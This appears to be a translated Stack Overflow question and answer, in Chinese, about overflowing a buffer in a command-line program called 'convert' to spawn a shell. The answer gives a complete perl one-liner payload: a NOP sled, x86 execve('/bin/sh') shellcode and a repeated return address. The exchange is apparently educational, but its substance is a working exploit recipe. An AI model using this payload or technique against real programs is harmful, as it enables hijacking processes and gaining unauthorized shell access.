我试图在没有堆栈保护的命令行程序中生成一个shell,该程序接受两个输入:数字和日期。
./convert <number> <date>
我想让缓冲区溢出,现在我正在尝试做
[nop sled] ..... [shell code] ..... [return address]
我的问题在于,当我通过命令行(或更确切地说是在GDB中)传递nops时,就遇到了这样一个事实。在GDB中,当我使用以下参数运行时:值
1 \x90\x90\x90\x90.... 700
个字节,它输入的是与'\' 'x' '9' '0'
的十六进制值相对的实际字符nop
。如何正确输入? (我知道这一点是因为EIP给了我39785c30
,它翻译成9x\0
)。我该怎么办? 最佳答案
好,知道了!一个人可以使用perl打印功能,并使用转义符使它打印点(以及您无法使用键盘打印的其他字符)。例如perl -e 'print "\x90"'
,它将发送0x90到内存(或您需要的任何内容)。
我做了这样的事情:
egg=$(perl -e 'print "\x90"x719, "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "\x90\xf6\xff\xbf"x5')
谢谢大家的帮助!
关于c - 缓冲区溢出的参数输入,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/22535351/